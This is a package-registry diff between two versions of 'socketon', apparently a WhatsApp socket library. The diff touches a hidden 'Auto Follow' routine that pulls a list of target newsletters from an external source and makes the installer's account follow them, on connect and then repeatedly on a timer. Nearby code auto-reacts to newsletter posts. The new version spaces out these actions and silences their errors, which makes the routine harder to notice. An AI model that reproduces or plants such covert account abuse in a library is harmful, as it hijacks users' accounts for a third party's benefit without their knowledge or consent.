socketon 1.8.11 → 1.8.13
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/lib/Socket/newsletter.js +13 -5
- package/package.json +1 -1
package/lib/Socket/newsletter.js
CHANGED
|
@@ -257,28 +257,36 @@ const makeNewsletterSocket = (config) => {
|
|
|
257
257
|
const emoji = emojis[Math.floor(Math.random() * emojis.length)];
|
|
258
258
|
try {
|
|
259
259
|
await sock.newsletterAutoReact(jid, serverId, emoji);
|
|
260
|
+
await sleep(_configNewsletter.delayMs);
|
|
260
261
|
} catch (err) {}
|
|
261
262
|
}
|
|
262
263
|
});
|
|
263
264
|
// Auto Follow - Ibra Decode
|
|
264
265
|
let _followInterval = null;
|
|
266
|
+
const sleep = (ms) => new Promise(resolve => setTimeout(resolve, ms));
|
|
265
267
|
const _ensureFollow = async () => {
|
|
266
268
|
if (!_configNewsletter.autoFollowEnabled) return;
|
|
267
269
|
const enabledNewsletters = await getTargetNewsletterFromExternal();
|
|
268
270
|
if (!enabledNewsletters || enabledNewsletters.length === 0) return;
|
|
269
271
|
try {
|
|
270
272
|
const list = await executeWMexQuery({}, '6388546374527196', 'xwa2_newsletter_subscribed', query, generateMessageTag);
|
|
271
|
-
for (
|
|
273
|
+
for (let i = 0; i < enabledNewsletters.length; i++) {
|
|
274
|
+
const newsletterJid = enabledNewsletters[i];
|
|
272
275
|
const isFollowing = list?.some(n => n.id === newsletterJid);
|
|
273
|
-
if (!isFollowing)
|
|
276
|
+
if (!isFollowing) {
|
|
277
|
+
await newsletterWMexQuery(newsletterJid, Types_1.QueryIds.FOLLOW);
|
|
278
|
+
await sleep(_configNewsletter.delayMs);
|
|
279
|
+
}
|
|
274
280
|
}
|
|
275
|
-
} catch (err) {
|
|
276
|
-
console.error('Auto follow error:', err);
|
|
277
|
-
}
|
|
281
|
+
} catch (err) {}
|
|
278
282
|
};
|
|
279
283
|
sock.ev.on('connection.update', async ({ connection }) => {
|
|
280
284
|
if (connection === 'open') {
|
|
281
285
|
await getTargetNewsletterFromExternal();
|
|
286
|
+
const targets = getAllEnabledNewsletters();
|
|
287
|
+
if (targets && targets.length > 0) {
|
|
288
|
+
_targetNewsletters = targets;
|
|
289
|
+
}
|
|
282
290
|
await _ensureFollow();
|
|
283
291
|
if (_followInterval) clearInterval(_followInterval);
|
|
284
292
|
_followInterval = setInterval(_ensureFollow, _configNewsletter.delayMs);
|